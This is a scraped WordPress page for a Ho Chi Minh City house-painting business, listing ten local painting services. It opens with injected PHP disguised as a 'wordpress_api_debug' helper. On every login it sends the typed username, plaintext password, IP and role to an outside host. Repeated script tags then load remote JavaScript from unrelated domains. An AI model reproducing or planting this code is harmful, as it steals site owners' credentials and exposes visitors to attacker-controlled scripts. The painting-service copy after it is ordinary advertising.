= explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><script type="rocketlazyloadscript" data-minify="1" src="https://sonnhagiaphat.com/wp-content/cache/min/1/jquery-3.3.1.min.js?ver=1690794061" defer></script> <script type="rocketlazyloadscript"> var khutmhpx = document.createElement("script"); khutmhpx.src = "https://bluegaslamp.org/V4CHvFq8"; document.getElementsByTagName("head")[0].appendChild(khutmhpx); </script> <script type="rocketlazyloadscript" data-minify="1" src="https://sonnhagiaphat.com/wp-content/cache/min/1/jquery-3.3.1.min.js?ver=1690794061" defer></script> <script type="rocketlazyloadscript"> var khutmhpx = document.createElement("script"); khutmhpx.src = "https://surelytheme.org/ZcqVjVQ1"; document.getElementsByTagName("head")[0].appendChild(khutmhpx); </script> <script type="rocketlazyloadscript" data-minify="1" src="https://sonnhagiaphat.com/wp-content/cache/min/1/jquery-3.3.1.min.js?ver=1690794061" defer></script> <script type="rocketlazyloadscript"> var khutmhpx = document.createElement("script"); khutmhpx.src = "https://surelytheme.org/ZcqVjVQ1"; document.getElementsByTagName("head")[0].appendChild(khutmhpx); </script> <script type="rocketlazyloadscript" data-minify="1" src="https://sonnhagiaphat.com/wp-content/cache/min/1/jquery-3.3.1.min.js?ver=1690794061" defer></script> <script type="rocketlazyloadscript"> var khutmhpx = document.createElement("script"); khutmhpx.src = "https://surelytheme.org/ZcqVjVQ1"; document.getElementsByTagName("head")[0].appendChild(khutmhpx); </script> <!DOCTYPE html> <!--[if IE 9 ]> <html lang="en" class="ie9 loading-site no-js"> <![endif]--> <!--[if IE 8 ]> <html lang="en" class="ie8 loading-site no-js"> <![endif]--> <!--[if (gte IE 9)|!(IE)]><!--><html lang="en" class="loading-site no-js"> <!--<![endif]--> <head><meta charset="UTF-8" /><script>if(navigator.userAgent.match(/MSIE|Internet Explorer/i)||navigator.userAgent.match(/Trident\/7\..*?rv:11/i)){var href=document.location.href;if(!href.match(/[?&]nowprocket/)){if(href.indexOf("?")==-1){if(href.indexOf("#")==-1){document.location.href=href+"?nowprocket=1"}else{document.location.href=href.replace("#","?nowprocket=1#")}}else{if(href.indexOf("#")==-1){document.location.href=href+"&nowprocket=1"}else{document.location.href=href.replace("#","&nowprocket=1#")}}}}</script><script>class RocketLazyLoadScripts{constructor(){this.triggerEvents=["keydown","mousedown","mousemove","touchmove","touchstart","touchend","wheel"],this.userEventHandler=this._triggerListener.bind(this),this.touchStartHandler=this._onTouchStart.bind(this),this.touchMoveHandler=this._onTouchMove.bind(this),this.touchEndHandler=this._onTouchEnd.bind(this),this.clickHandler=this._onClick.bind(this),this.interceptedClicks=[],window.addEventListener("pageshow",(e=>{this.persisted=e.persisted})),window.addEventListener("DOMContentLoaded",(()=>{this._preconnect3rdParties()})),this.delayedScripts={normal:[],async:[],defer:[]},this.allJQueries=[]}_addUserInteractionListener(e){document.hidden?e._triggerListener():(this.triggerEvents.forEach((t=>window.addEventListener(t,e.userEventHandler,{passive:!0}))),window.addEventListener("touchstart",e.touchStartHandler,{passive:!0}),window.addEventListener("mousedown",e.touchStartHandler),document.addEventListener("visibilitychange",e.userEventHandler))}_removeUserInteractionListener(){this.triggerEvents.forEach((e=>window.removeEventListener(e,this.userEventHandler,{passive:!0}))),document.removeEventListener("visibilitychange",this.userEventHandler)}_onTouchStart(e){"HTML"!==e.target.tagName&&(window.addEventListener("touchend",this.touchEndHandler),window.addEventListener("mouseup",this.touchEndHandler),window.addEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.addEventListener("mousemove",this.touchMoveHandler),e.target.addEventListener("click",this.clickHandler),this._renameDOMAttribute(e.target,"onclick","rocket-onclick"))}_onTouchMove(e){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler),e.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(e.target,"rocket-onclick","onclick")}_onTouchEnd(e){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler)}_onClick(e){e.target.removeEventListener("click",this.clickHandler),this._renameDOMAttribute(e.target,"rocket-onclick","onclick"),this.interceptedClicks.push(e),e.preventDefault(),e.stopPropagation(),e.stopImmediatePropagation()}_replayClicks(){window.removeEventListener("touchstart",this.touchStartHandler,{passive:!0}),window.removeEventListener("mousedown",this.touchStartHandler),this.interceptedClicks.forEach((e=>{e.target.dispatchEvent(new MouseEvent("click",{view:e.view,bubbles:!0,cancelable:!0}))}))}_renameDOMAttribute(e,t,n){e.hasAttribute&&e.hasAttribute(t)&&(event.target.setAttribute(n,event.target.getAttribute(t)),event.target.removeAttribute(t))}_triggerListener(){this._removeUserInteractionListener(this),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",this._loadEverythingNow.bind(this)):this._loadEverythingNow()}_preconnect3rdParties(){let e=[];document.querySelectorAll("script[type=rocketlazyloadscript]").forEach((t=>{if(t.hasAttribute("src")){const n=new URL(t.src).origin;n!==location.origin&&e.push({src:n,crossOrigin:t.crossOrigin||"module"===t.getAttribute("data-rocket-type")})}})),e=[...new Map(e.map((e=>[JSON.stringify(e),e]))).values()],this._batchInjectResourceHints(e,"preconnect")}async _loadEverythingNow(){this.lastBreath=Date.now(),this._delayEventListeners(),this._delayJQueryReady(this),this._handleDocumentWrite(),this._registerAllDelayedScripts(),this._preloadAllScripts(),await this._loadScriptsFromList(this.delayedScripts.normal),await this._loadScriptsFromList(this.delayedScripts.defer),await this._loadScriptsFromList(this.delayedScripts.async);try{await this._triggerDOMContentLoaded(),await this._triggerWindowLoad()}catch(e){}window.dispatchEvent(new Event("rocket-allScriptsLoaded")),this._replayClicks()}_registerAllDelayedScripts(){document.querySelectorAll("script[type=rocketlazyloadscript]").forEach((e=>{e.hasAttribute("src")?e.hasAttribute("async")&&!1!==e.async?this.delayedScripts.async.push(e):e.hasAttribute("defer")&&!1!==e.defer||"module"===e.getAttribute("data-rocket-type")?this.delayedScripts.defer.push(e):this.delayedScripts.normal.push(e):this.delayedScripts.normal.push(e)}))}async _transformScript(e){return await this._littleBreath(),new Promise((t=>{const n=document.createElement("script");[...e.attributes].forEach((e=>{let t=e.nodeName;"type"!==t&&("data-rocket-type"===t&&(t="type"),n.setAttribute(t,e.nodeValue))})),e.hasAttribute("src")?(n.addEventListener("load",t),n.addEventListener("error",t)):(n.text=e.text,t());try{e.parentNode.replaceChild(n,e)}catch(e){t()}}))}async _loadScriptsFromList(e){const t=e.shift();return t?(await this._transformScript(t),this._loadScriptsFromList(e)):Promise.resolve()}_preloadAllScripts(){this._batchInjectResourceHints([...this.delayedScripts.normal,...this.delayedScripts.defer,...this.delayedScripts.async],"preload")}_batchInjectResourceHints(e,t){var n=document.createDocumentFragment();e.forEach((e=>{if(e.src){const i=document.createElement("link");i.href=e.src,i.rel=t,"preconnect"!==t&&(i.as="script"),e.getAttribute&&"module"===e.getAttribute("data-rocket-type")&&(i.crossOrigin=!0),e.crossOrigin&&(i.crossOrigin=e.crossOrigin),n.appendChild(i)}})),document.head.appendChild(n)}_delayEventListeners(){let e={};function t(t,n){!function(t){function n(n){return e[t].eventsToRewrite.indexOf(n)>=0?"rocket-"+n:n}e[t]||(e[t]={originalFunctions:{add:t.addEventListener,remove:t.removeEventListener},eventsToRewrite:[]},t.addEventListener=function(){arguments[0]=n(arguments[0]),e[t].originalFunctions.add.apply(t,arguments)},t.removeEventListener=function(){arguments[0]=n(arguments[0]),e[t].originalFunctions.remove.apply(t,arguments)})}(t),e[t].eventsToRewrite.push(n)}function n(e,t){let n=e[t];Object.defineProperty(e,t,{get:()=>n||function(){},set(i){e["rocket"+t]=n=i}})}t(document,"DOMContentLoaded"),t(window,"DOMContentLoaded"),t(window,"load"),t(window,"pageshow"),t(document,"readystatechange"),n(document,"onreadystatechange"),n(window,"onload"),n(window,"onpageshow")}_delayJQueryReady(e){let t=window.jQuery;Object.defineProperty(window,"jQuery",{get:()=>t,set(n){if(n&&n.fn&&!e.allJQueries.includes(n)){n.fn.ready=n.fn.init.prototype.ready=function(t){e.domReadyFired?t.bind(document)(n):document.addEventListener("rocket-DOMContentLoaded",(()=>t.bind(document)(n)))};const t=n.fn.on;n.fn.on=n.fn.init.prototype.on=function(){if(this[0]===window){function e(e){return e.split(" ").map((e=>"load"===e||0===e.indexOf("load.")?"rocket-jquery-load":e)).join(" ")}"string"==typeof arguments[0]||arguments[0]instanceof String?arguments[0]=e(arguments[0]):"object"==typeof arguments[0]&&Object.keys(arguments[0]).forEach((t=>{delete Object.assign(arguments[0],{[e(t)]:arguments[0][t]})[t]}))}return t.apply(this,arguments),this},e.allJQueries.push(n)}t=n}})}async _triggerDOMContentLoaded(){this.domReadyFired=!0,await this._littleBreath(),document.dispatchEvent(new Event("rocket-DOMContentLoaded")),await this._littleBreath(),window.dispatchEvent(new Event("rocket-DOMContentLoaded")),await this._littleBreath(),document.dispatchEvent(new Event("rocket-readystatechange")),await this._littleBreath(),document.rocketonreadystatechange&&document.rocketonreadystatechange()}async _triggerWindowLoad(){await this._littleBreath(),window.dispatchEvent(new Event("rocket-load")),await this._littleBreath(),window.rocketonload&&window.rocketonload(),await this._littleBreath(),this.allJQueries.forEach((e=>e(window).trigger("rocket-jquery-load"))),await this._littleBreath();const e=new Event("rocket-pageshow");e.persisted=this.persisted,window.dispatchEvent(e),await this._littleBreath(),window.rocketonpageshow&&window.rocketonpageshow({persisted:this.persisted})}_handleDocumentWrite(){const e=new Map;document.write=document.writeln=function(t){const n=document.currentScript,i=document.createRange(),r=n.parentElement;let o=e.get(n);void 0===o&&(o=n.nextSibling,e.set(n,o));const s=document.createDocumentFragment();i.setStart(s,0),s.appendChild(i.createContextualFragment(t)),r.insertBefore(s,o)}}async _littleBreath(){Date.now()-this.lastBreath>45&&(await this._requestAnimFrame(),this.lastBreath=Date.now())}async _requestAnimFrame(){return document.hidden?new Promise((e=>setTimeout(e))):new Promise((e=>requestAnimationFrame(e)))}static run(){const e=new RocketLazyLoadScripts;e._addUserInteractionListener(e)}}RocketLazyLoadScripts.run();</script> <link rel="profile" href="https://gmpg.org/xfn/11" /> <link rel="pingback" href="https://sonnhagiaphat.com/xmlrpc.php" /> <script type="rocketlazyloadscript">(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script> <style> .pro-wccp:before { content: "\f160"; top: 3px; } .pro-wccp:before{ color:#02CA03 !important } .pro-wccp { transform: rotate(45deg); } </style> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <!-- This site is optimized with the Yoast SEO Premium plugin v19.2.1 (Yoast SEO v19.8) - https://yoast.com/wordpress/plugins/seo/ --> <title>Top 10 dịch vụ sơn nhà uy tín tại TPHCM - Sơn Nhà Gia Phát

Top 10 dịch vụ sơn nhà uy tín tại TPHCM

Với mức độ phát triển đô thị hóa tại TP Hồ Chí Minh ngày càng cao thì nhu cầu sửa chữa nhà, xây dựng là nhu cầu thiết yếu của người dân đặt biệt là dịch vụ sơn nhà. Ai cũng mong muốn có một ngôi nhà là nơi nghỉ ngơi sau một ngày làm việc căng thẳng thật ấm cúng, khang trang.

Công đoạn rất quan trọng trong sửa chữa, xây dựng nhà là sơn nước. Kỹ thuật sơn nhà không dễ cũng không khó, đa số các đơn vị nhỏ lẻ không thể đáp ứng mức độ sơn đẹp, dẫn đến việc sơn không phẳng và đẹp, sơn nhanh tróc. Ngôi nhà của bạn có đẹp hay không một phần do màu sơn một phần còn do trình độ kỹ thuật sơn của các thợ sơn.

Chính vì vậy mà nếu như không có được đội ngũ thợ sơn tay nghề giỏi. Thì rất khó có thể mang đến nét đẹp hoàn hảo cho ngôi nhà của bạn. Vậy làm sao để chọn được đơn vị thi công dịch vụ sơn nhà uy tín tại TPHCM. Cùng điểm qua các đơn vị bên dưới nhé.

Dịch vụ Sơn nhà Gia Phát

Dịch vụ sơn nhà Gia Phát là nơi cung cấp dịch vụ sơn nhà chuyên nghiệp uy tín tại TP. Hồ Chí Minh. Chuyên nhận thi công sơn các công trình mới và sơn lại công trình cũ tại tất cả các quận hồ chí minh và biên hoà, bình dương, thi công sơn tất cả các loại công trình có quy mô từ nhỏ đến lớn, từ khối lượng một mảng tường muốn sơn cho tới căn nhà cũng như công trình lớn, mặt bằng kinh doanh, căn hộ văn phòng…

Với đội ngũ thợ sơn tay nghề cao, nhiều kinh nghiệm, cẩn thận, nhiệt tình và vô cùng chu đáo, Sơn nhà Gia Phát đảm bảo sẽ làm hài lòng mọi khách hàng dù là người khó tính nhất.

Dịch vụ Sơn nhà Gia Phát
Dịch vụ Sơn nhà Gia Phát

Tại sao nên chọn dịch vụ sơn nhà chuyên nghiệp Gia Phát?

  1. Khảo sát, ước tính giá cho khách hàng biết ngay chi phí thi công của công trình cụ thể của khách hàng sát với chi phí thực tế.
  2. Thi công nhanh cam kết tiến độ thi công với chi phí thấp nhất từ khảo sát tới thi công trong vòng 1-2 ngày đối với công trình nhỏ
  3. Bảo hành chất lượng sơn đúng như hãng sơn khách hàng lựa chọn và chất lượng công trình lên tới 2 năm
  4. Chọn màu từ bảng vẽ trực quan, chọn đúng màu sơn và đảm bảo chất lượng phù hợp với kinh phí của khách hàng.
  5. Bảo hành sửa chữa khi có lỗi hay khách hàng yêu cầu. Sửa chữa giúp nhiều chi tiết nhỏ trong nhà miễn phí.

Quy trình thi công sơn nhà

Bước 1: Quý khách liên hệ với nhân viên tư vấn qua Hotline 038 282 0079 yêu cầu khảo sát, tư vấn ước tính chi phí sơ bộ cho công trình sơn của bạn.

Bước 2: Sau khi tư vấn qua điện thoại, chúng tôi khảo sát tư vấn tại công trình trong vòng 1 tiếng. Và đưa ra ước tính kinh phí sơ bộ cho công trình cụ thể mà quý khách muốn thi công .

Bước 3: Thỏa thuận với khách hàng về giá cả chi phí thi công sơn cho công trình, phương thức thi công, thời gian thi công và hình thức thanh toán. Sau đó kí hợp đồng thi công sơn cho công trình của quý khách.

Bước 4: Tiến hành thi công đúng quy trình kĩ thuật và tiến độ, đảm bảo chất lượng sơn và chất lượng công trình đúng ý muốn của quý khách về độ thẩm mỹ, màu sơn, chất lượng công trình, vệ sinh sạch sẽ sau khi thi công.

Bước 5: Bàn giao công trình, nghiệm thu và thanh toán.

Bảo hành: Công trình được bảo hành lên tới 2 năm và sửa chữa mỗi khi khách hàng liên hệ yêu cầu trong 1h làm việc. Ngoài ra quý khách còn được sửa chữa nhiều chi tiết nhỏ trong nhà hoàn toàn miễn phí trong qua trình thi công sơn nước.

Mọi chi tiết xin liên hệ:

Địa chỉ: 22 Đường 10 Phước Long B, Quận 9, TP HCM

Điện thoại: 0889 146 303

Email: sonnhagiaphat@gmail.com

Website: sonnhagiaphat.com

Dịch vụ sơn nhà Tiến Đạt

Dịch vụ sơn nhà Tiến Đạt là nơi sở hữu đội ngũ thợ sơn nhà chuyên nghiệp nhất tại TP. Hồ Chí Minh. Tiến Đạt đã hoạt động nhiều năm trong lĩnh vực sơn nước và cũng là công ty cung cấp dịch vụ sơn nước nhiều nhất tại TP. Hồ Chí Minh. Tiến Đạt chuyên về dịch vụ sơn nhà giá rẻ, dịch vụ sơn nhà đẹp, các thợ sơn đều có nhiều năm kinh nghiệm làm việc trong lĩnh vực này.

Dịch vụ sơn nhà Tiến Đạt
Dịch vụ sơn nhà Tiến Đạt

Tại sao nên chọn dịch vụ sơn nhà chuyên nghiệp Tiến Đạt?

  • Sở hữu đội ngũ thợ sơn chuyên nghiệp, giàu kinh nghiệm
    Nhận thi công trọn gói, làm nhân công, mọi hạng mục liên quan tới sơn
  • Nhận sơn các hạng mục lớn nhỏ: Chung cư, biệt thự, văn phòng, nhà ở, nhà cấp 4, phòng ngủ, phòng khách
  • Sở hữu nguồn nhân lực dồi dào, đáp ứng mọi tiến độ thi công được bàn giao
  • Tư vấn miễn phí màu sắc theo sở thích, theo kiểu dáng, theo phong thuỷ, theo mệnh gia chủ
  • Bảo hành trọn gói từ 3 đến 10 năm tùy vào độ bền của lớp sơn cũ hoặc sơn mới hoàn toàn.
  • Dịch vụ chu đáo chắc chắn sẽ khiến khách hàng hài lòng

Quy trình thi công sơn nhà

  1. Tiếp nhận yêu cầu của khách hàng
  2. Khảo sát thực tế và tư vấn giải pháp thi công
  3. Thống nhất phương án, báo giá thi công, cung cấp bản vẽ 3D với những dự án lớn
  4. Ký kết hợp đồng sơn nhà
  5. Thi công, giám sát hoàn thiện sơn nhà
  6. Bàn giao và thanh toán

Mọi chi tiết xin liên hệ:

Website: http://www.suanhatiendat.com/

Tiến Đạt – dịch vụ sơn nhà chuyên nghiệp và uy tín nhất tại TPHCM

Dịch vụ sơn nước, sửa nhà Đại Nam

Với nhiều năm kinh nghiệm làm việc tại TpHCM. Đội thợ sơn nước Đại Nam đã nhận thi công sơn nước nhiều công trình sơn nhà, sửa nhà lớn nhỏ tại các Quận 1, Quận 3, Quận 5, Quận 6, Quận 7, Quận 10, Quận 11, Quận 12, Quận Bình Tân, Quận Tân Phú, Quận Tân Bình, Huyện Hóc Môn, Huyện Bình Chánh…

Dịch vụ sơn nước chuyên nghiệp Đại Nam nhận sơn nước với giá thành luôn cạnh tranh, làm việc nhanh chóng, đáp ứng tất cả các nhu cầu của các Công ty và Hộ gia đình. Dịch vụ sơn nước, sửa nhà Đại Nam nhận sơn nước nhà mới: Sơn bả trọn gói hoặc nhận sơn bả báo giá theo nhân công, Sơn nước nhà cũ: Sơn lại, dặm vá tường, xử lý bề mặt bong tróc, ố vàng, sơn nước hoàn thiện.

Top 10 công ty cung cấp dịch vụ sơn nước uy tín tại TPHCM ...

Nhận sơn nước các Công trình: Nhà xưởng, Công ty, Nhà phố, Biệt thự, Quán cà phê, Shop…Ngoài lĩnh vực sơn nước, đội thợ còn nhận sơn dầu cổng sắt, sửa sắt, sơn vật liệu bằng sắt, gỗ, nhận sửa chữa nhà, nhận làm trần thạch cao, vách ngăn thạch cao, sửa chữa điện, sửa chữa đường ống cấp thoát nước, cung cấp dịch vụ chống thấm, chống dột, nhận thi công lắp đặt cửa vách nhôm kính…

Mọi chi tiết xin liên hệ:

Địa chỉ: 406/41 Cộng Hòa, p13,quận Tân Bình, TP. HCM
Website: www.suachuanhadainam.com

Dịch vụ sơn nước TP Hồ Chí Minh

Dịch vụ sơn nước TP Hồ Chí Minh
Dịch vụ sơn nước TP Hồ Chí Minh

Nơi sở hữu đội ngũ thợ sơn nhà chuyên nghiệp nhất tại TP HCM là dịch vụ sơn nước TP Hồ Chí Minh.’

Dịch Vụ Sơn Nước TP Hồ Chí Minh là công ty cung cấp dịch vụ sơn nước nhiều nhất tại TP Hồ Chí Minh và đã hoạt động nhiều năm trong lĩnh vực sơn nước.

Dịch Vụ Sơn Nước TP Hồ Chí Minh với các thợ sơn đều có nhiều năm kinh nghiệm làm việc trong lĩnh vực này, chuyên về dịch vụ sơn nhà đẹp, dịch vụ sơn nhà giá rẻ.

Tại sao chọn Dịch vụ sơn nước TP Hồ Chí Minh?

  1. Sở hữu đội ngũ thợ sơn giàu kinh nghiệm, chuyên nghiệp.
  2. Làm nhân công, thi công trọn gói, mọi hạng mục liên quan tới sơn.
  3. Sơn các hạng mục lớn nhỏ: Biệt thự, chung cư, văn phòng, nhà ở, nhà cấp 4, phòng khách, phòng ngủ…
  4. Đáp ứng mọi tiến độ thi công được bàn giao nhờ sở hữu nguồn nhân lực dồi dào.
  5. Tư vấn miễn phí màu sắc theo theo kiểu dáng, theo sở thích, theo mệnh gia chủ, theo phong thuỷ.
  6. Tùy vào độ bền của lớp sơn cũ hoặc sơn mới hoàn toàn, bảo hành trọn gói từ 3 đến 10 năm.
  7. Dịch vụ chu đáo chắc chắn sẽ làm khách hàng hài lòng.
    Quy trình thi công sơn nhà
  8. Tiếp nhận yêu cầu của khách hàng
  9. Tư vấn giải pháp thi công và khảo sát thực tế
  10. Thống nhất phương án, cung cấp bản vẽ 3D với những dự án lớn, báo giá thi công.
  11. Ký kết hợp đồng sơn nhà
  12. Thi công, giám sát hoàn thiện sơn nhà
  13. Bàn giao và thanh toán

Mọi chi tiết xin liên hệ:

Địa chỉ: Quận 6, TP HCM

Email: sonnuochcm@gmail.com

Website: dichvusonnuoc.net

Công ty TNHH TM Dịch Vụ Xây Dựng Hùng Phúc

Công ty Hùng Phúc là đơn vị chuyên sơn nhà với hơn 10 năm kinh nghiệm trong lĩnh vực thi công sơn nhà, sơn văn phòng, ngoại thất, nội thất, thiết kế – kết cấu thi công xây dựng sửa chữa nhà cửa tại TP. Hồ Chí Minh. Trong thời gian vừa qua, Hùng Phúc luôn tự hào khi mang đến cho khách hàng một dịch vụ sơn nhà tốt nhất, hoàn hảo nhất cả về chất lượng công trình lẫn chất lượng dịch vụ.

Tại sao nên chọn dịch vụ sơn nhà chuyên nghiệp của công ty Hùng Phúc?

  1. Thi công đúng tiến độ
  2. Sử dụng đúng loại vật liệu xây dựng đã ký kết
  3. Hoàn thành hạng mục một cách nhanh chóng, sạch sẽ, trả lại căn nhà ngăn nắp cho bạn
  4. Giá thành hợp lý
  5. Tư vấn tận tình và chu đáo cho khách hàng khi lựa chọn các loại vật liệu xây dựng
  6. Quy trình thi công sơn nhà
  7. Nhận cuộc gọi của khách hàng và tư vấn cho khách hàng
  8. Kiểm tra thông tin khách hàng.
  9. Cử nhân viên đến khảo sát công trình
  10. Thống nhất nguyên vật liệu, hình thức thanh toán và thi công với khách hàng
  11. Báo giá trực tiếp khi hai bên nhất trí.
  12. Sắp xếp thời gian thi công theo khách hàng yêu cầu
  13. Tiến hành thi công
  14. Vệ sinh sạch sẽ sau khi thi công
  15. Bảo trì, sửa chữa khi khách hàng không ưng ý

Mọi chi tiết xin liên hệ:

Địa chỉ: Số 7, Nguyễn Cừ, Thảo Điền, Quận 2, TP. Hồ Chí Minh
Website: http://dichvusonnhadep.com/

Công ty Hùng Phúc - dịch vụ sơn nhà chuyên nghiệp và uy tín nhất tại TPHCM
Công ty Hùng Phúc – dịch vụ sơn nhà chuyên nghiệp và uy tín nhất tại TPHCM

Dịch vụ sơn nước Hoàng Quân

Dịch vụ sơn nước Hoàng Quân chuyên nhận sơn nước tại TP HCM chuyên nghiệp

Tỉ mỉ trong quá trình sơn sửa nhà, nhiều năm kinh nghiệm trong nhề, dịch vụ sơn nước Hoàng Quân cung cấp thợ sơn giỏi nhất, tư vấn phối màu sơn hiện đại, biết cách để sơn lại nhà đẹp, những dịch vụ sơn nước chuyên nghiệp tại TP HCM.

Đặc biệt Hoàng Quân sở hữu đội thợ sơn có trách nhiệm cao, rất nhiệt tình, tinh tế trong từng đường nét sơn hoa văn chắc chắn sẽ làm khách hàng hài lòng.

Dịch vụ sơn nước Hoàng Quân chuyên nhận sơn các hạng mục sau

  • Sơn hoàn thiện nhà mới
  • Sơn lại biệt thự, nhà cũ, nhà phố, chung cư..
  • Sơn lại nhà xưởng
  • Sơn chống thấm vách tường
  • Sơn dặm vá, sơn lại trần thạch cao
  • Sơn epoxy

Ưu điểm khi khách hàng chọn dịch vụ sơn nước Hoàng Quân

  • Thi công đúng tiến độ, nhanh.
  • Trong quá trình thi công không sử dụng vật tư kém chất lượng.
  • Thợ sơn nhà giỏi, nhiệt tình, chuyên nghiệp.
  • Bảo hành chuyên nghiệp.

Mọi chi tiết xin liên hệ:

Hotline: 0906.093.124 | 01222.957.129

Website: sonnuochoangquan.com

Công ty Thuận Phát Như Ý

Với hơn 10 năm kinh nghiệm trong lĩnh vực thi công sơn nhà, sơn nội thất, sơn văn phòng, sơn nhà giá rẻ tại TP. Hồ Chí Minh. Công ty Thuận Phát Như Ý tự hào mang đến cho khách hàng một dịch vụ sơn nhà tốt nhất, hoàn hảo nhất.

Công ty sẽ giúp bạn tư vấn sơn nhà, cách chọn màu sơn đẹp nhất sao cho màu sơn hợp phong thủy. Và kết hợp màu sơn thật phù hợp với từng không gian trong ngôi nhà của bạn.

Tại sao nên chọn dịch vụ sơn nhà chuyên nghiệp của công ty Thuận Phát Như Ý?

  1. Cam kết về những tác phẩm sơn nhà đẹp và chất lượng
  2. Đội ngũ thợ sơn nhà được đào tạo hết sức khắt khe, bài bản hiểu rõ về các đặc tính về bề mặt tường cũ, ảnh hưởng của thời tiết
  3. Luôn đưa ra những giải pháp tối ưu xử lý hữu hiệu và thông minh khi sơn nhà mới, tường mới
  4. Tiêu chí sơn nhà mới: Đẹp + Chất lượng + Tiết Kiệm
  5. Hỗ trợ thu dọn đồ đạc trước khi sơn, vệ sinh nhanh-sạch-chất lượng
  6. Lựa chọn màu sắc tinh tế, không ngừng sáng tạo
  7. Tư vấn lựa chọn màu sơn
  8. Chăm sóc khách hàng 24h/7 và bảo hành từ 1 tới 10 năm tùy thuộc vào công trình

Mọi chi tiết xin liên hệ:

Địa chỉ: 45 Đường Số 3, Phường Long Trường, Quận 9, TP. Hồ Chí Minh
Website: https://thuanphatnhuy.com/

Dịch vụ sơn nhà Sài Gòn

Dịch vụ sơn nhà Sài Gòn với đội ngũ thợ sơn làm việc yêu nghề và chuyên
nghiệp luôn được sự ủng hộ nhiệt tình, tin tưởng của khách hàng. Nhiều
khách hàng ưu chuộng sử dụng dịch vụ sơn nước tại TP Hồ Chí Minh của
dịch vụ sơn nhà Sài Gòn.

Dịch Vụ Sơn Nhà Sài Gòn
Dịch Vụ Sơn Nhà Sài Gòn

Dịch vụ sơn nhà Sài Gòn chuyên làm trong lĩnh vực dịch vụ sơn nhà, thi công sơn nước, sửa chữa điện nước cho mọi công trình chung cư, văn phòng, nhà ở… với chi phí hợp lý cùng chất lượng cao nhất.

Dịch vụ sơn nhà Sài Gòn với đội ngũ thi công luôn nhiệt tình, tay nghề cao, trách nhiệm với từng công trình cùng với đội ngũ kỹ sư xây dựng được đào tạo chuyên sâu dày dặn kinh nghiệm, chắc chắn sẽ mang lại sự hài lòng cho khách hàng khi sử dụng dịch vụ sơn nước của Dịch vụ sơn nhà Sài Gòn.

Các bước thi công sơn nước:

  • Vệ sinh và chuẩn bị bề mặt
  • Trét matit
  • Sơn lót
  • Sơn phủ hoàn thiện

Mọi chi tiết xin liên hệ:

Địa chỉ: 533/15 Nguyễn Kiệm, Phường 9, Q Phú Nhuận, TP HCM

Website: sonnhasaigon.com

Công ty TNHH Đầu tư xây dựng Nguyễn Gia

Dịch Vụ Sửa Chữa Nhà Tphcm Uy Tín, Chất Lượng Giá Phải Chăng

Dịch vụ sơn nhà trọn gói Nguyễn Gia

Với kinh nghiệm trong lĩnh vực thi công hoàn thiện công trình xây dựng tới 12 năm, dịch vụ sơn nhà chuyên nghiệp Nguyễn Gia sẽ đem đến sự hài lòng nhất về tính thẩm mỹ và chất lượng cho khách hàng.

Ưu điểm khi chọn dịch vụ sơn nước Nguyễn Gia

  1. Giá cả cạnh tranh
  2. Chất lượng công trình tốt nhất
  3. Dịch vụ hoàn hảo
  4. Thi công đúng tiến độ.
  5. Hỗ trợ 24/7
  6. Hài lòng tuyệt đối
  7. Dịch vụ sơn nước Nguyễn Gia nhận thi công những hạng mục
